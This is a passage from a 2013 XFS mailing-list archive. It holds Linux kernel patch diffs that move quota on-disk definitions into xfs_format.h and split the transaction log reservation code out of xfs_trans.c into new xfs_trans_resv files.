"xfs_log.h" #include "xfs_inum.h" diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index 2b0ba35..2231498 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -17,7 +17,7 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_format.h" #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_inum.h" diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c index d320794..e14d53a 100644 --- a/fs/xfs/xfs_qm.c +++ b/fs/xfs/xfs_qm.c @@ -17,6 +17,7 @@ */ #include "xfs.h" #include "xfs_fs.h" +#include "xfs_format.h" #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_trans.h" diff --git a/fs/xfs/xfs_qm_bhv.c b/fs/xfs/xfs_qm_bhv.c index 437a52d..3af50cc 100644 --- a/fs/xfs/xfs_qm_bhv.c +++ b/fs/xfs/xfs_qm_bhv.c @@ -17,6 +17,7 @@ */ #include "xfs.h" #include "xfs_fs.h" +#include "xfs_format.h" #include "xfs_log.h" #include "xfs_trans.h" #include "xfs_sb.h" diff --git a/fs/xfs/xfs_qm_syscalls.c b/fs/xfs/xfs_qm_syscalls.c index e4f8b2d..3521c8b 100644 --- a/fs/xfs/xfs_qm_syscalls.c +++ b/fs/xfs/xfs_qm_syscalls.c @@ -20,6 +20,7 @@ #include "xfs.h" #include "xfs_fs.h" +#include "xfs_format.h" #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_trans.h" diff --git a/fs/xfs/xfs_quota.h b/fs/xfs/xfs_quota.h index b14f42c..16bde32 100644 --- a/fs/xfs/xfs_quota.h +++ b/fs/xfs/xfs_quota.h @@ -21,18 +21,6 @@ struct xfs_trans; /* - * The ondisk form of a dquot structure. - */ -#define XFS_DQUOT_MAGIC 0x4451 /* 'DQ' */ -#define XFS_DQUOT_VERSION (u_int8_t)0x01 /* latest version number */ - -/* - * uid_t and gid_t are hard-coded to 32 bits in the inode. - * Hence, an 'id' in a dquot is 32 bits.. - */ -typedef __uint32_t xfs_dqid_t; - -/* * Even though users may not have quota limits occupying all 64-bits, * they may need 64-bit accounting. Hence, 64-bit quota-counters, * and quota-limits. This is a waste in the common case, but hey ... @@ -41,55 +29,6 @@ typedef __uint64_t xfs_qcnt_t; typedef __uint16_t xfs_qwarncnt_t; /* - * This is the main portion of the on-disk representation of quota - * information for a user. This is the q_core of the xfs_dquot_t that - * is kept in kernel memory. We pad this with some more expansion room - * to construct the on disk structure. - */ -typedef struct xfs_disk_dquot { - __be16 d_magic; /* dquot magic = XFS_DQUOT_MAGIC */ - __u8 d_version; /* dquot version */ - __u8 d_flags; /* XFS_DQ_USER/PROJ/GROUP */ - __be32 d_id; /* user,project,group id */ - __be64 d_blk_hardlimit;/* absolute limit on disk blks */ - __be64 d_blk_softlimit;/* preferred limit on disk blks */ - __be64 d_ino_hardlimit;/* maximum # allocated inodes */ - __be64 d_ino_softlimit;/* preferred inode limit */ - __be64 d_bcount; /* disk blocks owned by the user */ - __be64 d_icount; /* inodes owned by the user */ - __be32 d_itimer; /* zero if within inode limits if not, - this is when we refuse service */ - __be32 d_btimer; /* similar to above; for disk blocks */ - __be16 d_iwarns; /* warnings issued wrt num inodes */ - __be16 d_bwarns; /* warnings issued wrt disk blocks */ - __be32 d_pad0; /* 64 bit align */ - __be64 d_rtb_hardlimit;/* absolute limit on realtime blks */ - __be64 d_rtb_softlimit;/* preferred limit on RT disk blks */ - __be64 d_rtbcount; /* realtime blocks owned */ - __be32 d_rtbtimer; /* similar to above; for RT disk blocks */ - __be16 d_rtbwarns; /* warnings issued wrt RT disk blocks */ - __be16 d_pad; -} xfs_disk_dquot_t; - -/* - * This is what goes on disk. This is separated from the xfs_disk_dquot because - * carrying the unnecessary padding would be a waste of memory. - */ -typedef struct xfs_dqblk { - xfs_disk_dquot_t dd_diskdq; /* portion that lives incore as well */ - char dd_fill[4]; /* filling for posterity */ - - /* - * These two are only present on filesystems with the CRC bits set. - */ - __be32 dd_crc; /* checksum */ - __be64 dd_lsn; /* last modification in log */ - uuid_t dd_uuid; /* location information */ -} xfs_dqblk_t; - -#define XFS_DQUOT_CRC_OFF offsetof(struct xfs_dqblk, dd_crc) - -/* * flags for q_flags field in the dquot. */ #define XFS_DQ_USER 0x0001 /* a user quota */ @@ -131,71 +70,6 @@ typedef struct xfs_dqblk { #define XFS_DQUOT_LOGRES(mp) \ ((sizeof(struct xfs_dq_logformat) + sizeof(struct xfs_disk_dquot)) * 6) -/* - * These are the structures used to lay out dquots and quotaoff - * records on the log. Quite similar to those of inodes. - */ - -/* - * log format struct for dquots. - * The first two fields must be the type and size fitting into - * 32 bits : log_recovery code assumes that. - */ -typedef struct xfs_dq_logformat { - __uint16_t qlf_type; /* dquot log item type */ - __uint16_t qlf_size; /* size of this item */ - xfs_dqid_t qlf_id; /* usr/grp/proj id : 32 bits */ - __int64_t qlf_blkno; /* blkno of dquot buffer */ - __int32_t qlf_len; /* len of dquot buffer */ - __uint32_t qlf_boffset; /* off of dquot in buffer */ -} xfs_dq_logformat_t; - -/* - * log format struct for QUOTAOFF records. - * The first two fields must be the type and size fitting into - * 32 bits : log_recovery code assumes that. - * We write two LI_QUOTAOFF logitems per quotaoff, the last one keeps a pointer - * to the first and ensures that the first logitem is taken out of the AIL - * only when the last one is securely committed. - */ -typedef struct xfs_qoff_logformat { - unsigned short qf_type; /* quotaoff log item type */ - unsigned short qf_size; /* size of this item */ - unsigned int qf_flags; /* USR and/or GRP */ - char qf_pad[12]; /* padding for future */ -} xfs_qoff_logformat_t; - - -/* - * Disk quotas status in m_qflags, and also sb_qflags. 16 bits. - */ -#define XFS_UQUOTA_ACCT 0x0001 /* user quota accounting ON */ -#define XFS_UQUOTA_ENFD 0x0002 /* user quota limits enforced */ -#define XFS_UQUOTA_CHKD 0x0004 /* quotacheck run on usr quotas */ -#define XFS_PQUOTA_ACCT 0x0008 /* project quota accounting ON */ -#define XFS_OQUOTA_ENFD 0x0010 /* other (grp/prj) quota limits enforced */ -#define XFS_OQUOTA_CHKD 0x0020 /* quotacheck run on other (grp/prj) quotas */ -#define XFS_GQUOTA_ACCT 0x0040 /* group quota accounting ON */ - -/* - * Conversion to and from the combined OQUOTA flag (if necessary) - * is done only in xfs_sb_qflags_to_disk() and xfs_sb_qflags_from_disk() - */ -#define XFS_GQUOTA_ENFD 0x0080 /* group quota limits enforced */ -#define XFS_GQUOTA_CHKD 0x0100 /* quotacheck run on group quotas */ -#define XFS_PQUOTA_ENFD 0x0200 /* project quota limits enforced */ -#define XFS_PQUOTA_CHKD 0x0400 /* quotacheck run on project quotas */ - -/* - * Quota Accounting/Enforcement flags - */ -#define XFS_ALL_QUOTA_ACCT \ - (XFS_UQUOTA_ACCT | XFS_GQUOTA_ACCT | XFS_PQUOTA_ACCT) -#define XFS_ALL_QUOTA_ENFD \ - (XFS_UQUOTA_ENFD | XFS_GQUOTA_ENFD | XFS_PQUOTA_ENFD) -#define XFS_ALL_QUOTA_CHKD \ - (XFS_UQUOTA_CHKD | XFS_GQUOTA_CHKD | XFS_PQUOTA_CHKD) - #define XFS_IS_QUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_ALL_QUOTA_ACCT) #define XFS_IS_UQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_UQUOTA_ACCT) #define XFS_IS_PQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_PQUOTA_ACCT) diff --git a/fs/xfs/xfs_quotaops.c b/fs/xfs/xfs_quotaops.c index 20e30f9..acf5071 100644 --- a/fs/xfs/xfs_quotaops.c +++ b/fs/xfs/xfs_quotaops.c @@ -16,6 +16,7 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #include "xfs.h" +#include "xfs_format.h" #include "xfs_sb.h" #include "xfs_log.h" #include "xfs_ag.h" diff --git a/fs/xfs/xfs_rename.c b/fs/xfs/xfs_rename.c index 30ff5f4..0c1f8ef 100644 --- a/fs/xfs/xfs_rename.c +++ b/fs/xfs/xfs_rename.c @@ -17,7 +17,7 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_format.h" #include "xfs_log.h" #include "xfs_trans.h" #include "xfs_sb.h" diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index 1d68ffc..146e2c2 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -17,6 +17,7 @@ */ #include "xfs.h" +#include "xfs_format.h" #include "xfs_log.h" #include "xfs_inum.h" #include "xfs_trans.h" diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c index f4895b6..80d550c 100644 --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -18,7 +18,7 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_format.h" #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_trans.h" diff --git a/fs/xfs/xfs_trace.c b/fs/xfs/xfs_trace.c index b6e3897..5d7b3e4 100644 --- a/fs/xfs/xfs_trace.c +++ b/fs/xfs/xfs_trace.c @@ -18,6 +18,7 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_types.h" +#include "xfs_format.h" #include "xfs_log.h" #include "xfs_trans.h" #include "xfs_sb.h" diff --git a/fs/xfs/xfs_trans.c b/fs/xfs/xfs_trans.c index 35a2299..1d2a061 100644 --- a/fs/xfs/xfs_trans.c +++ b/fs/xfs/xfs_trans.c @@ -18,7 +18,7 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_format.h" #include "xfs_log.h" #include "xfs_trans.h" #include "xfs_sb.h" diff --git a/fs/xfs/xfs_trans_dquot.c b/fs/xfs/xfs_trans_dquot.c index 61407a8..54ee3c5 100644 --- a/fs/xfs/xfs_trans_dquot.c +++ b/fs/xfs/xfs_trans_dquot.c @@ -17,6 +17,7 @@ */ #include "xfs.h" #include "xfs_fs.h" +#include "xfs_format.h" #include "xfs_log.h" #include "xfs_trans.h" #include "xfs_sb.h" diff --git a/fs/xfs/xfs_types.h b/fs/xfs/xfs_types.h index 39c48ca..69074ac 100644 --- a/fs/xfs/xfs_types.h +++ b/fs/xfs/xfs_types.h @@ -177,4 +177,10 @@ struct xfs_name { int len; }; +/* + * uid_t and gid_t are hard-coded to 32 bits in the inode. + * Hence, an 'id' in a dquot is 32 bits.. + */ +typedef __uint32_t xfs_dqid_t; + #endif /* __XFS_TYPES_H__ */ diff --git a/fs/xfs/xfs_utils.c b/fs/xfs/xfs_utils.c index 0025c78..58386fa 100644 --- a/fs/xfs/xfs_utils.c +++ b/fs/xfs/xfs_utils.c @@ -17,7 +17,7 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_format.h" #include "xfs_log.h" #include "xfs_trans.h" #include "xfs_sb.h" diff --git a/fs/xfs/xfs_vnodeops.c b/fs/xfs/xfs_vnodeops.c index dc730ac..c2d96cd 100644 --- a/fs/xfs/xfs_vnodeops.c +++ b/fs/xfs/xfs_vnodeops.c @@ -19,7 +19,7 @@ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_format.h" #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_trans.h" -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:27:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 405697F93 for ; Fri, 19 Jul 2013 01:26:08 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 989EAAC001 for ; Thu, 18 Jul 2013 23:26:07 -0700 (PDT) X-ASG-Debug-ID: 1374215130-04cbb04690117c020011-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id OTLLtdZkD7Nmq5jZ for ; Thu, 18 Jul 2013 23:26:02 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABUBoMGwUYEgRYXdIIkAQEFGgEMLzMIGBgZOQMbGYgPti+OXwoJgS6DcgOUBpUkgyQqgSwBHwQ Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:51 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0482-000484-N7 for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0482-0001xV-MB for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 11/49] xfs: split out transaction reservation code Date: Fri, 19 Jul 2013 16:24:42 +1000 X-ASG-Orig-Subj: [PATCH 11/49] xfs: split out transaction reservation code Message-Id: <1374215120-7271-12-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215162 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The transaction reservation size calculations is used by both kernel and userspace, but most of the transaction code in xfs_trans.c is kernel specific. Split all the transaction reservation code out into it's own files to make sharing with userspace simpler. This just leaves kernel-only definitions in xfs_trans.h, so it doesn't need to be shared with userspace anymore, either. Signed-off-by: Dave Chinner --- fs/xfs/Makefile | 3 +- fs/xfs/xfs_acl.c | 1 + fs/xfs/xfs_buf.c | 1 + fs/xfs/xfs_discard.c | 4 +- fs/xfs/xfs_mount.h | 42 +-- fs/xfs/xfs_quotaops.c | 3 +- fs/xfs/xfs_trans.c | 654 +------------------------------------------- fs/xfs/xfs_trans.h | 77 +----- fs/xfs/xfs_trans_resv.c | 701 ++++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_trans_resv.h | 137 ++++++++++ 10 files changed, 851 insertions(+), 772 deletions(-) create mode 100644 fs/xfs/xfs_trans_resv.c create mode 100644 fs/xfs/xfs_trans_resv.h diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile index 4a45080..dc72b6b 100644 --- a/fs/xfs/Makefile +++ b/fs/xfs/Makefile @@ -47,6 +47,7 @@ xfs-y += xfs_aops.o \ xfs_mru_cache.o \ xfs_rename.o \ xfs_super.o \ + xfs_trans.o \ xfs_utils.o \ xfs_vnodeops.o \ xfs_xattr.o \ @@ -76,7 +77,7 @@ xfs-y += xfs_alloc.o \ xfs_log_recover.o \ xfs_mount.o \ xfs_symlink.o \ - xfs_trans.o + xfs_trans_resv.o # low-level transaction/log code xfs-y += xfs_log.o \ diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 695606a..150c670 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -17,6 +17,7 @@ */ #include "xfs.h" #include "xfs_log_format.h" +#include "xfs_trans_resv.h" #include "xfs_acl.h" #include "xfs_attr.h" #include "xfs_bmap_btree.h" diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c index 1b2472a..c8136d0 100644 --- a/fs/xfs/xfs_buf.c +++ b/fs/xfs/xfs_buf.c @@ -35,6 +35,7 @@ #include #include "xfs_sb.h" +#include "xfs_trans_resv.h" #include "xfs_log.h" #include "xfs_ag.h" #include "xfs_mount.h" diff --git a/fs/xfs/xfs_discard.c b/fs/xfs/xfs_discard.c index 65831f9..45560ee 100644 --- a/fs/xfs/xfs_discard.c +++ b/fs/xfs/xfs_discard.c @@ -17,12 +17,12 @@ */ #include "xfs.h" #include "xfs_format.h" -#include "xfs_sb.h" #include "xfs_log.h" +#include "xfs_trans.h" +#include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" #include "xfs_quota.h" -#include "xfs_trans.h" #include "xfs_alloc_btree.h" #include "xfs_bmap_btree.h" #include "xfs_ialloc_btree.h" diff --git a/fs/xfs/xfs_mount.h b/fs/xfs/xfs_mount.h index 4e374d4..27d0d5c 100644 --- a/fs/xfs/xfs_mount.h +++ b/fs/xfs/xfs_mount.h @@ -18,45 +18,7 @@ #ifndef __XFS_MOUNT_H__ #define __XFS_MOUNT_H__ -typedef struct xfs_trans_reservations { - uint tr_write; /* extent alloc trans */ - uint tr_itruncate; /* truncate trans */ - uint tr_rename; /* rename trans */ - uint tr_link; /* link trans */ - uint tr_remove; /* unlink trans */ - uint tr_symlink; /* symlink trans */ - uint tr_create; /* create trans */ - uint tr_mkdir; /* mkdir trans */ - uint tr_ifree; /* inode free trans */ - uint tr_ichange; /* inode update trans */ - uint tr_growdata; /* fs data section grow trans */ - uint tr_swrite; /* sync write inode trans */ - uint tr_addafork; /* cvt inode to attributed trans */ - uint tr_writeid; /* write setuid/setgid file */ - uint tr_attrinval; /* attr fork buffer invalidation */ - uint tr_attrsetm; /* set/create an attribute at mount time */ - uint tr_attrsetrt; /* set/create an attribute at runtime */ - uint tr_attrrm; /* remove an attribute */ - uint tr_clearagi; /* clear bad agi unlinked ino bucket */ - uint tr_growrtalloc; /* grow realtime allocations */ - uint tr_growrtzero; /* grow realtime zeroing */ - uint tr_growrtfree; /* grow realtime freeing */ - uint tr_qm_sbchange; /* change quota flags */ - uint tr_qm_setqlim; /* adjust quota limits */ - uint tr_qm_dqalloc; /* allocate quota on disk */ - uint tr_qm_quotaoff; /* turn quota off */ - uint tr_qm_equotaoff;/* end of turn quota off */ - uint tr_sb; /* modify superblock */ -} xfs_trans_reservations_t; - -#ifndef __KERNEL__ - -#define xfs_daddr_to_agno(mp,d) \ - ((xfs_agnumber_t)(XFS_BB_TO_FSBT(mp, d) / (mp)->m_sb.sb_agblocks)) -#define xfs_daddr_to_agbno(mp,d) \ - ((xfs_agblock_t)(XFS_BB_TO_FSBT(mp, d) % (mp)->m_sb.sb_agblocks)) - -#else /* __KERNEL__ */ +#ifdef __KERNEL__ struct xlog; struct xfs_inode; @@ -174,7 +136,7 @@ typedef struct xfs_mount { int m_ialloc_blks; /* blocks in inode allocation */ int m_inoalign_mask;/* mask sb_inoalignmt if used */ uint m_qflags; /* quota status flags */ - xfs_trans_reservations_t m_reservations;/* precomputed res values */ + struct xfs_trans_resv m_reservations; /* precomputed res values */ __uint64_t m_maxicount; /* maximum inode count */ __uint64_t m_resblks; /* total reserved blocks */ __uint64_t m_resblks_avail;/* available reserved blocks */ diff --git a/fs/xfs/xfs_quotaops.c b/fs/xfs/xfs_quotaops.c index acf5071..446a2fc 100644 --- a/fs/xfs/xfs_quotaops.c +++ b/fs/xfs/xfs_quotaops.c @@ -17,8 +17,9 @@ */ #include "xfs.h" #include "xfs_format.h" -#include "xfs_sb.h" +#include "xfs_trans_resv.h" #include "xfs_log.h" +#include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" #include "xfs_quota.h" diff --git a/fs/xfs/xfs_trans.c b/fs/xfs/xfs_trans.c index 9b70df3..cc824eff 100644 --- a/fs/xfs/xfs_trans.c +++ b/fs/xfs/xfs_trans.c @@ -49,629 +49,6 @@ kmem_zone_t *xfs_trans_zone; kmem_zone_t *xfs_log_item_desc_zone; /* - * A buffer has a format structure overhead in the log in addition - * to the data, so we need to take this into account when reserving - * space in a transaction for a buffer. Round the space required up - * to a multiple of 128 bytes so that we don't change the historical - * reservation that has been used for this overhead. - */ -STATIC uint -xfs_buf_log_overhead(void) -{ - return round_up(sizeof(struct xlog_op_header) + - sizeof(struct xfs_buf_log_format), 128); -} - -/* - * Calculate out transaction log reservation per item in bytes. - * - * The nbufs argument is used to indicate the number of items that - * will be changed in a transaction. size is used to tell how many - * bytes should be reserved per item. - */ -STATIC uint -xfs_calc_buf_res( - uint nbufs, - uint size) -{ - return nbufs * (size + xfs_buf_log_overhead()); -} - -/* - * Various log reservation values. - * - * These are based on the size of the file system block because that is what - * most transactions manipulate. Each adds in an additional 128 bytes per - * item logged to try to account for the overhead of the transaction mechanism. - * - * Note: Most of the reservations underestimate the number of allocation - * groups into which they could free extents in the xfs_bmap_finish() call. - * This is because the number in the worst case is quite high and quite - * unusual. In order to fix this we need to change xfs_bmap_finish() to free - * extents in only a single AG at a time. This will require changes to the - * EFI code as well, however, so that the EFI for the extents not freed is - * logged again in each transaction. See SGI PV #261917. - * - * Reservation functions here avoid a huge stack in xfs_trans_init due to - * register overflow from temporaries in the calculations. - */ - - -/* - * In a write transaction we can allocate a maximum of 2 - * extents. This gives: - * the inode getting the new extents: inode size - * the inode's bmap btree: max depth * block size - * the agfs of the ags from which the extents are allocated: 2 * sector - * the superblock free block counter: sector size - * the allocation btrees: 2 exts * 2 trees * (2 * max depth - 1) * block size - * And the bmap_finish transaction can free bmap blocks in a join: - * the agfs of the ags containing the blocks: 2 * sector size - * the agfls of the ags containing the blocks: 2 * sector size - * the super block free block counter: sector size - * the allocation btrees: 2 exts * 2 trees * (2 * max depth - 1) * block size - */ -STATIC uint -xfs_calc_write_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - MAX((xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK), - XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(3, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), - XFS_FSB_TO_B(mp, 1))), - (xfs_calc_buf_res(5, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), - XFS_FSB_TO_B(mp, 1)))); -} - -/* - * In truncating a file we free up to two extents at once. We can modify: - * the inode being truncated: inode size - * the inode's bmap btree: (max depth + 1) * block size - * And the bmap_finish transaction can free the blocks and bmap blocks: - * the agf for each of the ags: 4 * sector size - * the agfl for each of the ags: 4 * sector size - * the super block to reflect the freed blocks: sector size - * worst case split in allocation btrees per extent assuming 4 extents: - * 4 exts * 2 trees * (2 * max depth - 1) * block size - * the inode btree: max depth * blocksize - * the allocation btrees: 2 trees * (max depth - 1) * block size - */ -STATIC uint -xfs_calc_itruncate_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - MAX((xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK) + 1, - XFS_FSB_TO_B(mp, 1))), - (xfs_calc_buf_res(9, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 4), - XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(5, 0) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(2 + XFS_IALLOC_BLOCKS(mp) + - mp->m_in_maxlevels, 0))); -} - -/* - * In renaming a files we can modify: - * the four inodes involved: 4 * inode size - * the two directory btrees: 2 * (max depth + v2) * dir block size - * the two directory bmap btrees: 2 * max depth * block size - * And the bmap_finish transaction can free dir and bmap blocks (two sets - * of bmap blocks) giving: - * the agf for the ags in which the blocks live: 3 * sector size - * the agfl for the ags in which the blocks live: 3 * sector size - * the superblock for the free block count: sector size - * the allocation btrees: 3 exts * 2 trees * (2 * max depth - 1) * block size - */ -STATIC uint -xfs_calc_rename_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - MAX((xfs_calc_buf_res(4, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(2 * XFS_DIROP_LOG_COUNT(mp), - XFS_FSB_TO_B(mp, 1))), - (xfs_calc_buf_res(7, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 3), - XFS_FSB_TO_B(mp, 1)))); -} - -/* - * For creating a link to an inode: - * the parent directory inode: inode size - * the linked inode: inode size - * the directory btree could split: (max depth + v2) * dir block size - * the directory bmap btree could join or split: (max depth + v2) * blocksize - * And the bmap_finish transaction can free some bmap blocks giving: - * the agf for the ag in which the blocks live: sector size - * the agfl for the ag in which the blocks live: sector size - * the superblock for the free block count: sector size - * the allocation btrees: 2 trees * (2 * max depth - 1) * block size - */ -STATIC uint -xfs_calc_link_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - MAX((xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), - XFS_FSB_TO_B(mp, 1))), - (xfs_calc_buf_res(3, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)))); -} - -/* - * For removing a directory entry we can modify: - * the parent directory inode: inode size - * the removed inode: inode size - * the directory btree could join: (max depth + v2) * dir block size - * the directory bmap btree could join or split: (max depth + v2) * blocksize - * And the bmap_finish transaction can free the dir and bmap blocks giving: - * the agf for the ag in which the blocks live: 2 * sector size - * the agfl for the ag in which the blocks live: 2 * sector size - * the superblock for the free block count: sector size - * the allocation btrees: 2 exts * 2 trees * (2 * max depth - 1) * block size - */ -STATIC uint -xfs_calc_remove_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - MAX((xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), - XFS_FSB_TO_B(mp, 1))), - (xfs_calc_buf_res(5, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), - XFS_FSB_TO_B(mp, 1)))); -} - -/* - * For create, break it in to the two cases that the transaction - * covers. We start with the modify case - allocation done by modification - * of the state of existing inodes - and the allocation case. - */ - -/* - * For create we can modify: - * the parent directory inode: inode size - * the new inode: inode size - * the inode btree entry: block size - * the superblock for the nlink flag: sector size - * the directory btree: (max depth + v2) * dir block size - * the directory inode's bmap btree: (max depth + v2) * block size - */ -STATIC uint -xfs_calc_create_resv_modify( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + - (uint)XFS_FSB_TO_B(mp, 1) + - xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1)); -} - -/* - * For create we can allocate some inodes giving: - * the agi and agf of the ag getting the new inodes: 2 * sectorsize - * the superblock for the nlink flag: sector size - * the inode blocks allocated: XFS_IALLOC_BLOCKS * blocksize - * the inode btree: max depth * blocksize - * the allocation btrees: 2 trees * (max depth - 1) * block size - */ -STATIC uint -xfs_calc_create_resv_alloc( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + - mp->m_sb.sb_sectsize + - xfs_calc_buf_res(XFS_IALLOC_BLOCKS(mp), XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)); -} - -STATIC uint -__xfs_calc_create_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - MAX(xfs_calc_create_resv_alloc(mp), - xfs_calc_create_resv_modify(mp)); -} - -/* - * For icreate we can allocate some inodes giving: - * the agi and agf of the ag getting the new inodes: 2 * sectorsize - * the superblock for the nlink flag: sector size - * the inode btree: max depth * blocksize - * the allocation btrees: 2 trees * (max depth - 1) * block size - */ -STATIC uint -xfs_calc_icreate_resv_alloc( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + - mp->m_sb.sb_sectsize + - xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)); -} - -STATIC uint -xfs_calc_icreate_reservation(xfs_mount_t *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - MAX(xfs_calc_icreate_resv_alloc(mp), - xfs_calc_create_resv_modify(mp)); -} - -STATIC uint -xfs_calc_create_reservation( - struct xfs_mount *mp) -{ - if (xfs_sb_version_hascrc(&mp->m_sb)) - return xfs_calc_icreate_reservation(mp); - return 